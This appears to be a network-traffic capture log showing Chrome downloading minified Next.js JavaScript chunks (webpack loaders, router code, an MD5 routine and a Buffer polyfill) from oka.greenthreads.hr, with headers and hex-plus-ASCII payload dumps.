2025-03-13 16:02:48 UTC	13046	IN	Data Raw: 6e 75 6c 6c 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 22 22 21 3d 3d 74 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 6c 3f 6e 75 6c 6c 3a 6f 28 65 2c 6e 2c 22 22 2b 74 2c 72 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 7b 73 77 69 74 63 68 28 74 2e 24 24 74 79 70 65 6f 66 29 7b 63 61 73 65 20 50 3a 72 65 74 75 72 6e 20 74 2e 6b 65 79 3d 3d 3d 6c 3f 69 28 65 2c 6e 2c 74 2c 72 29 3a 6e 75 6c 6c 3b 63 61 73 65 20 4e 3a 72 65 74 75 72 6e 20 74 2e 6b 65 79 3d 3d 3d 6c 3f 73 28 65 2c 6e 2c 74 2c 72 29 3a 6e 75 6c 6c 3b 63 61 73 65 20 55 3a 72 65 74 75 72 6e 20 70 28 65 2c 6e 2c 28 6c 3d 74 2e 5f 69 6e 69 74 29 28 74 Data Ascii: null;if("string"==typeof t&&""!==t\|\|"number"==typeof t)return null!==l?null:o(e,n,""+t,r);if("object"==typeof t&&null!==t){switch(t.$$typeof){case P:return t.key===l?i(e,n,t,r):null;case N:return t.key===l?s(e,n,t,r):null;case U:return p(e,n,(l=t._init)(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49717	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:47 UTC	574	OUT	GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:48 UTC	620	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 174889 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="main-de1ad41d606513c1.js" Content-Length: 93582 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:47 GMT Etag: "da989c36392e2601ea958221ae086c80" Last-Modified: Tue, 11 Mar 2025 15:27:58 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/main-de1ad41d606513c1.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::72ln6-1741881767889-1daa3e936168 Connection: close
2025-03-13 16:02:48 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 37 39 5d 2c 7b 33 37 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 22 74 72 69 6d 53 74 61 72 74 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 53 74 61 72 74 3d 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 4c 65 66 74 29 2c 22 74 72 69 6d 45 6e 64 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 45 6e 64 3d 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 52 69 67 68 74 29 2c 22 64 65 73 63 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"descri
2025-03-13 16:02:48 UTC	935	IN	Data Raw: 5f 65 73 4d 6f 64 75 6c 65 26 26 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 29 7d 2c 32 31 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 68 61 73 42 61 73 65 50 61 74 68 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 Data Ascii: _esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},2140:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"hasBasePath",{enumerable:!0,g
2025-03-13 16:02:48 UTC	4744	IN	Data Raw: 6e 6f 4d 6f 64 75 6c 65 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 6c 65 74 7b 74 79 70 65 3a 74 2c 70 72 6f 70 73 3a 72 7d 3d 65 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 74 29 3b 66 6f 72 28 6c 65 74 20 65 20 69 6e 20 72 29 7b 69 66 28 21 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 7c 7c 22 63 68 69 6c 64 72 65 6e 22 3d 3d 3d 65 7c 7c 22 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 22 3d 3d 3d 65 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 5b 65 5d 29 63 6f 6e 74 69 6e 75 65 3b 6c 65 74 20 6f 3d 6e 5b 65 5d 7c 7c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 22 73 63 72 69 70 74 22 3d 3d 3d 74 26 26 28 22 61 73 79 6e 63 22 3d 3d 3d 6f 7c 7c 22 64 65 66 65 72 22 3d 3d 3d 6f 7c 7c Data Ascii: noModule"};function a(e){let{type:t,props:r}=e,a=document.createElement(t);for(let e in r){if(!r.hasOwnProperty(e)\|\|"children"===e\|\|"dangerouslySetInnerHTML"===e\|\|void 0===r[e])continue;let o=n[e]\|\|e.toLowerCase();"script"===t&&("async"===o\|\|"defer"===o\|\|
2025-03-13 16:02:48 UTC	5930	IN	Data Raw: 61 74 65 45 6c 65 6d 65 6e 74 28 50 2e 52 6f 75 74 65 72 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 28 30 2c 4c 2e 6d 61 6b 65 50 75 62 6c 69 63 52 6f 75 74 65 72 49 6e 73 74 61 6e 63 65 29 28 6e 29 7d 2c 79 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 2e 48 65 61 64 4d 61 6e 61 67 65 72 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 75 7d 2c 79 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 49 2e 49 6d 61 67 65 43 6f 6e 66 69 67 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 7b 64 65 76 69 63 65 53 69 7a 65 73 3a 5b 36 34 30 2c 37 35 30 2c 38 32 38 2c 31 30 38 30 2c 31 32 30 30 2c 31 39 32 30 2c 32 30 34 38 2c 33 38 34 30 5d 2c Data Ascii: ateElement(P.RouterContext.Provider,{value:(0,L.makePublicRouterInstance)(n)},y.default.createElement(b.HeadManagerContext.Provider,{value:u},y.default.createElement(I.ImageConfigContext.Provider,{value:{deviceSizes:[640,750,828,1080,1200,1920,2048,3840],
2025-03-13 16:02:48 UTC	7116	IN	Data Raw: 7d 2c 34 36 34 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 6c 65 74 20 6e 3d 72 28 35 32 37 34 29 3b 77 69 6e 64 6f 77 2e 6e 65 78 74 3d 7b 76 65 72 73 69 6f 6e 3a 6e 2e 76 65 72 73 69 6f 6e 2c 67 65 74 20 72 6f 75 74 65 72 28 29 7b 72 65 74 75 72 6e 20 6e 2e 72 6f 75 74 65 72 7d 2c 65 6d 69 74 74 65 72 3a 6e 2e 65 6d 69 74 74 65 72 7d 2c 28 30 2c 6e 2e 69 6e 69 74 69 61 6c 69 7a 65 29 28 7b 7d 29 2e 74 68 65 6e 28 28 29 3d 3e 28 30 2c 6e 2e 68 79 64 72 61 74 65 29 28 29 29 2e 63 61 74 63 68 28 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 29 2c 28 22 66 75 6e 63 74 69 Data Ascii: },4642:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});let n=r(5274);window.next={version:n.version,get router(){return n.router},emitter:n.emitter},(0,n.initialize)({}).then(()=>(0,n.hydrate)()).catch(console.error),("functi
2025-03-13 16:02:48 UTC	8302	IN	Data Raw: 69 7d 2c 74 29 7d 2c 75 3d 6c 3b 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 64 65 66 61 75 6c 74 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 2e 64 65 66 61 75 6c 74 26 26 6e 75 6c 6c 21 3d 3d 74 2e 64 65 66 61 75 6c 74 29 26 26 76 6f 69 64 20 30 3d 3d 3d 74 2e 64 65 66 61 75 6c 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 29 7d 2c 35 35 36 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 Data Ascii: i},t)},u=l;("function"==typeof t.default\|\|"object"==typeof t.default&&null!==t.default)&&void 0===t.default.__esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},5564:function(e,t,r){"use st
2025-03-13 16:02:48 UTC	6676	IN	Data Raw: 2c 7b 75 70 64 61 74 65 53 63 72 69 70 74 73 3a 68 2c 73 63 72 69 70 74 73 3a 6d 2c 67 65 74 49 73 53 73 72 3a 67 2c 61 70 70 44 69 72 3a 79 2c 6e 6f 6e 63 65 3a 5f 7d 3d 28 30 2c 69 2e 75 73 65 43 6f 6e 74 65 78 74 29 28 6c 2e 48 65 61 64 4d 61 6e 61 67 65 72 43 6f 6e 74 65 78 74 29 2c 62 3d 28 30 2c 69 2e 75 73 65 52 65 66 29 28 21 31 29 3b 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 29 3d 3e 7b 6c 65 74 20 65 3d 74 7c 7c 72 3b 62 2e 63 75 72 72 65 6e 74 7c 7c 28 61 26 26 65 26 26 66 2e 68 61 73 28 65 29 26 26 61 28 29 2c 62 2e 63 75 72 72 65 6e 74 3d 21 30 29 7d 2c 5b 61 2c 74 2c 72 5d 29 3b 6c 65 74 20 76 3d 28 30 2c 69 2e 75 73 65 52 65 66 29 28 21 31 29 3b 69 66 28 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 29 3d 3e 7b 21 76 2e 63 75 Data Ascii: ,{updateScripts:h,scripts:m,getIsSsr:g,appDir:y,nonce:_}=(0,i.useContext)(l.HeadManagerContext),b=(0,i.useRef)(!1);(0,i.useEffect)(()=>{let e=t\|\|r;b.current\|\|(a&&e&&f.has(e)&&a(),b.current=!0)},[a,t,r]);let v=(0,i.useRef)(!1);if((0,i.useEffect)(()=>{!v.cu
2025-03-13 16:02:48 UTC	10674	IN	Data Raw: 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 75 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 73 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 63 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 7d 2c 35 39 38 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 65 73 63 61 70 65 53 74 72 69 6e 67 52 65 67 65 78 70 22 2c 7b 65 6e 75 6d Data Ascii: efault.createContext(null),u=i.default.createContext(null),s=i.default.createContext(null),c=i.default.createContext(null)},5987:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"escapeStringRegexp",{enum
2025-03-13 16:02:48 UTC	3754	IN	Data Raw: 65 49 6e 66 6f 29 28 65 2e 70 61 74 68 6e 61 6d 65 2c 7b 6e 65 78 74 43 6f 6e 66 69 67 3a 6e 2c 70 61 72 73 65 44 61 74 61 3a 21 30 7d 29 2c 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 3a 72 2e 72 6f 75 74 65 72 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 2c 62 75 69 6c 64 49 64 3a 22 22 7d 29 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 69 6e 74 65 72 6e 61 6c 22 2c 6e 65 77 41 73 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 2c 6e 65 77 55 72 6c 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 7d 29 7d 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 65 78 74 65 72 6e 61 6c 22 2c 64 65 73 74 69 Data Ascii: eInfo)(e.pathname,{nextConfig:n,parseData:!0}),defaultLocale:r.router.defaultLocale,buildId:""});return Promise.resolve({type:"redirect-internal",newAs:""+t+e.query+e.hash,newUrl:""+t+e.query+e.hash})}return Promise.resolve({type:"redirect-external",desti
2025-03-13 16:02:48 UTC	13046	IN	Data Raw: 77 61 69 74 20 74 68 69 73 2e 73 65 74 28 57 2c 74 68 69 73 2e 63 6f 6d 70 6f 6e 65 6e 74 73 5b 57 2e 72 6f 75 74 65 5d 2c 6e 75 6c 6c 29 7d 63 61 74 63 68 28 65 29 7b 74 68 72 6f 77 28 30 2c 75 2e 64 65 66 61 75 6c 74 29 28 65 29 26 26 65 2e 63 61 6e 63 65 6c 6c 65 64 26 26 56 2e 65 76 65 6e 74 73 2e 65 6d 69 74 28 22 72 6f 75 74 65 43 68 61 6e 67 65 45 72 72 6f 72 22 2c 65 2c 51 2c 4b 29 2c 65 7d 72 65 74 75 72 6e 20 56 2e 65 76 65 6e 74 73 2e 65 6d 69 74 28 22 68 61 73 68 43 68 61 6e 67 65 43 6f 6d 70 6c 65 74 65 22 2c 72 2c 4b 29 2c 21 30 7d 6c 65 74 20 65 65 3d 28 30 2c 68 2e 70 61 72 73 65 52 65 6c 61 74 69 76 65 55 72 6c 29 28 74 29 2c 7b 70 61 74 68 6e 61 6d 65 3a 65 74 2c 71 75 65 72 79 3a 65 72 7d 3d 65 65 3b 69 66 28 6e 75 6c 6c 3d 3d 28 73 3d Data Ascii: wait this.set(W,this.components[W.route],null)}catch(e){throw(0,u.default)(e)&&e.cancelled&&V.events.emit("routeChangeError",e,Q,K),e}return V.events.emit("hashChangeComplete",r,K),!0}let ee=(0,h.parseRelativeUrl)(t),{pathname:et,query:er}=ee;if(null==(s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49718	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:47 UTC	580	OUT	GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:48 UTC	624	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 170578 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_app-aea6920bd27938ca.js" Content-Length: 280 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:47 GMT Etag: "fee534cee4da1c4a41d1ee54f48db65b" Last-Modified: Tue, 11 Mar 2025 16:39:49 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/_app-aea6920bd27938ca.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::cjn49-1741881767898-afe4660199ff Connection: close
2025-03-13 16:02:48 UTC	280	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 38 38 5d 2c 7b 31 35 39 37 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 5f 2c 75 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 5f 61 70 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 35 30 33 35 29 7d 5d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 72 65 74 75 72 6e 20 6e 28 6e 2e 73 3d 5f 29 7d 3b 6e 2e 4f 28 30 2c 5b 37 37 34 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 28 31 35 39 37 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1597:function(n,_,u){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return u(5035)}])}},function(n){var _=function(_){return n(n.s=_)};n.O(0,[774,179],function(){return _(1597)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49719	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:47 UTC	573	OUT	GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:48 UTC	618	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 174889 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="186-e401717d9e8b842b.js" Content-Length: 64992 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:47 GMT Etag: "575c44cd8afe1990210f891769bc660a" Last-Modified: Tue, 11 Mar 2025 15:27:58 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/186-e401717d9e8b842b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::fmfqt-1741881767946-83b8a4a1c4e1 Connection: close
2025-03-13 16:02:48 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 38 36 5d 2c 7b 34 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 75 74 66 38 3a 7b 73 74 72 69 6e 67 54 6f 42 79 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 62 69 6e 2e 73 74 72 69 6e 67 54 6f 42 79 74 65 73 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 2c 62 79 74 65 73 54 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 65 2e 62 69 6e 2e 62 79 74 65 73 54 6f 53 74 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToStri
2025-03-13 16:02:48 UTC	937	IN	Data Raw: 74 2c 30 29 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 55 69 6e 74 38 41 72 72 61 79 7c 7c 28 74 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 6e 2e 62 79 74 65 73 54 6f 57 6f 72 64 73 28 74 29 2c 75 3d 38 2a 74 2e 6c 65 6e 67 74 68 2c 66 3d 31 37 33 32 35 38 34 31 39 33 2c 6c 3d 2d 32 37 31 37 33 33 38 37 39 2c 63 3d 2d 31 37 33 32 35 38 34 31 39 34 2c 68 3d 32 37 31 37 33 33 38 37 38 2c 70 3d 30 3b 70 3c 72 2e 6c 65 6e 67 74 68 3b 70 2b 2b 29 72 5b 70 5d 3d 28 72 5b 70 5d 3c 3c 38 7c 72 5b 70 5d 3e 3e 3e 32 34 29 26 31 36 37 31 31 39 33 35 7c 28 72 5b 70 5d 3c 3c 32 34 7c 72 5b 70 5d 3e 3e 3e 38 29 26 34 32 37 38 32 35 35 33 36 30 3b 72 5b 75 3e 3e 3e 35 5d 7c 3d Data Ascii: t,0):Array.isArray(t)\|\|t.constructor===Uint8Array\|\|(t=t.toString());for(var r=n.bytesToWords(t),u=8*t.length,f=1732584193,l=-271733879,c=-1732584194,h=271733878,p=0;p<r.length;p++)r[p]=(r[p]<<8\|r[p]>>>24)&16711935\|(r[p]<<24\|r[p]>>>8)&4278255360;r[u>>>5]\|=
2025-03-13 16:02:48 UTC	4744	IN	Data Raw: 35 37 39 36 35 31 30 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 36 5d 2c 39 2c 2d 31 30 36 39 35 30 31 36 33 32 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 31 5d 2c 31 34 2c 36 34 33 37 31 37 37 31 33 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 30 5d 2c 32 30 2c 2d 33 37 33 38 39 37 33 30 32 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c 68 2c 72 5b 70 2b 35 5d 2c 35 2c 2d 37 30 31 35 35 38 36 39 31 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 31 30 5d 2c 39 2c 33 38 30 31 36 30 38 33 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 35 5d 2c 31 34 2c 2d 36 36 30 34 37 38 33 33 35 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 34 5d 2c 32 30 2c 2d 34 30 35 35 33 37 38 34 38 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c Data Ascii: 5796510),h=y(h,f,l,c,r[p+6],9,-1069501632),c=y(c,h,f,l,r[p+11],14,643717713),l=y(l,c,h,f,r[p+0],20,-373897302),f=y(f,l,c,h,r[p+5],5,-701558691),h=y(h,f,l,c,r[p+10],9,38016083),c=y(c,h,f,l,r[p+15],14,-660478335),l=y(l,c,h,f,r[p+4],20,-405537848),f=y(f,l,c,
2025-03-13 16:02:48 UTC	5930	IN	Data Raw: 6e 65 20 6f 66 20 74 79 70 65 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 2c 20 41 72 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 41 72 72 61 79 2d 6c 69 6b 65 20 4f 62 6a 65 63 74 2e 20 52 65 63 65 69 76 65 64 20 74 79 70 65 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 69 66 28 43 28 74 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 26 26 28 43 28 74 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 29 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 Data Ascii: ne of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);if(C(t,ArrayBuffer)\|\|t&&C(t.buffer,ArrayBuffer)\|\|"undefined"!=typeof SharedArrayBuffer&&(C(t,SharedArrayBuffer)\|\|t&&C(t.buffer,SharedArrayBuffer)))return functi
